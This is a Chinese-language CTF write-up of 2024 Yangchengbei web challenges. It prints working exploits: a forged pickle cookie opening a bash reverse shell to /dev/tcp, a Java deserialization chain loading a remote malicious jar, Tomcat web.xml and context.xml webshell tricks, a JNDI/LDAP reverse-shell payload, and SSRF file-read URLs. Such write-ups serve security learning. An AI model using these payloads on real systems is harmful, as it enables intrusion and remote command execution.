2024羊城杯 web

这次比赛 在大家的努力下 我们A1natas最后排名第三

我也是成功的在晚上12点左右 侥幸ak了web

image-20240901100711915

这次比赛被我非预期了好几题 笑死

Lyrics For You

存在任意文件读取

image-20240827104808041

可以读取config.key config.py等等

image-20240827104958793

key的值是

1
secret_code = "EnjoyThePlayTime123456"

存在pickle反序列化

image-20240827105151274

直接伪造cookies就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

import os
import random

from flask import Flask, make_response, request, render_template
# from cookie import set_cookie, cookie_check, get_cookie
import pickle
import base64
import hashlib
import hmac
import pickle
secret_code = "EnjoyThePlayTime123456"
from flask import make_response, request

unicode = str
basestring = str



class UserData:
def __init__(self, username):
self.username = username


def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None


def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid

def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)

def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)

def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
print(value)
def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)


a = set_cookie("user", b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"'\no.", secret=secret_code)

成功反弹shell

image-20240827105513453

得到flag

image-20240827105720602

ez_java

源码里面有账号密码 直接登录

image-20240827144520832

存在反序列化接口

image-20240827144552640

存在黑名单

1
private static final String[] blacklist = new String[]{"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.jndi.ldap.LdapAttribute", "org.apache.commons.beanutils", "org.apache.commons.collections", "javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString"};

注意到image-20240827144634282

getgift的地方存在URLClassLoader可以加载任意类

可以利用javax.swing.UIDefaults$TextAndMnemonicHashMap绕一下

参考新Source触发ToString - 首页|Aiwin

链子如下

1
HashTable#readObject()->pojoNode tiostring -> getgift()

也看到师傅用了其他的链子EventListenerList#readObject -> JacksonToString2Getter

这里的urlclassload 是懒加载 我们需要两次才能触发

第一次使用反序列化链子 调用gitgift 利用jar协议 获取服务器上的恶意jar包 把他加载到java中去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package com.example.ycbjava;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import com.example.ycbjava.utils.MyObjectInputStream;
import com.example.ycbjava.bean.User;
public class main {
public static void main(String[] args) throws Throwable {
CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();

User a = new User("jar:http://url:1234/evil.jar!/","test");
POJONode pojoNode = new POJONode(a);
Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1= (HashMap) createWithoutConstructor(innerClass);
Map map2= (HashMap) createWithoutConstructor(innerClass);
map1.put(pojoNode,"222");
map2.put(pojoNode,"111");
Field field=HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1,1);
Field field1=HashMap.class.getDeclaredField("loadFactor");
field1.setAccessible(true);
field1.set(map2,1);
Hashtable hashtable=new Hashtable();
hashtable.put(map1,1);
hashtable.put(map2,1);
map1.put(pojoNode, null);
map2.put(pojoNode, null);
System.out.println(serial(hashtable));

// evil test = new evil();
// System.out.println(serial(test));
// byte[] result=serialize(hashtable);
// ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// byteArrayOutputStream.write(result);
// MyObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
// objectInputStream.readObject();
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield = object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object, value);
}

public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
return byteArrayOutputStream.toByteArray();
}

public static <T> Object createWithoutConstructor (Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
}


image-20240827145047779

成功加载

image-20240827145105782

第二次构造一个简单的反序列化流 反序列化这个指定恶意类

这样java会加载我们传上去的jar里面的class类 触发rce

image-20240827145333652

再加载一次

image-20240827145522981

成功得到flag

image-20240827145537962

需要注意的是 这里序列化和反序列化的时候 原来jar里面的类不能修改 package 也需要对应 不然会出现suid对应 反序列化失败的情况

tomtom2

存在xml文件读取 conf/tomcat-users.xml可以读取到后台的密码

image-20240827180755417

成功读取到密码 上去 存在文件上传

可以上传到任意文件 可以覆盖web.xml文件 吧xml解析成jsp 就能实现上传绕过

先得到路径 报错得到路径

image-20240827181016244

然后上传到WEB-INF下覆盖web.xml

image-20240827181101699

上传一个简单的一句话jsp木马 后缀改成xml就行

image-20240827181327145

image-20240827181406139

得到flag

tomtom2_revenge

和之前相比 限制了web.xml文件上传 不能通过覆盖web.xml执行任意命令了

非预期1

gpt看到看到有一个叫做context.xml的 可以规定网站上下文

image-20240828010855647

如果污染这个值 把他污染到/ 就可以任意文件读取

image-20240828012200000

读取成功

image-20240828012310568

能读取etc/shadow 说明应该root权限 但是不存在相关的flag readflag文件 猜测flag名字是

1
f*l*a*g

image-20240828012516550

得到flag

image-20240828012807023

预期解

赛后和出题人交流了一下 出题人说这个题是 通过xml 触发jndi写马

这里存在h2 的依赖 直接打jndi

1
2
3
<Manager className="com.sun.rowset.JdbcRowSetImpl"
dataSourceName="ldap://vps:1389/TomcatJDBC/H2/Java/ReverseShell/vps/port"
autoCommit="true"></Manager>

非预期2

和其他师傅交流发现可以覆盖META-INF/context.xml 利用org.apache.catalina.valves.AccessLogValve 会记录日志 写入webshell

1
2
3
4
5
6
7
8
<Context>
<Value className="org.apache.catalina.valves.AccessLogValve"
directory="/opt/tomcat/webapps/myapp/"
prefix="shell"
suffix=".jsp"
pattern="%{Cookie}i"
resolveHosts="false"/>
</Context>

然后使用在cookies里面构造一个webshell 完成注入

1
Cookie: ${Runtime.getRuntime().exec(param.cmd)}

生成的webshell是 shell.2024-yy-dd.jsp

访问就能rce

网络照相馆

非预期

非预期到flag名字了

存在任意文件读取 file://etc/passwd 读取不了 使用file://localhost/etc/passwd

image-20240828004734944

尝试任意文件读取

得到源码

image-20240828005938170

根据前面的flag 猜测出题人没做权限校验 flag的名字是若干个flag 写个脚本爆下

1
2
3
4
5
6
7
for f in range(1, 10):
for l in range(1, 10):
for a in range(1, 10):
for g in range(1, 10):
with open('data.txt', 'a') as file:
file.write(f'f'*f+'l'*l+'a'*a+'g'*g+'\n')

image-20240828010217520

成功读取到flag(非预期

预期解

打CVE-2024-2961

读取maps和libc

1
2
url=file://127.0.0.1/proc/self/maps
url=file://127.0.0.1/lib/x86_64-linux-gnu/libc-2.31.so

写马打就行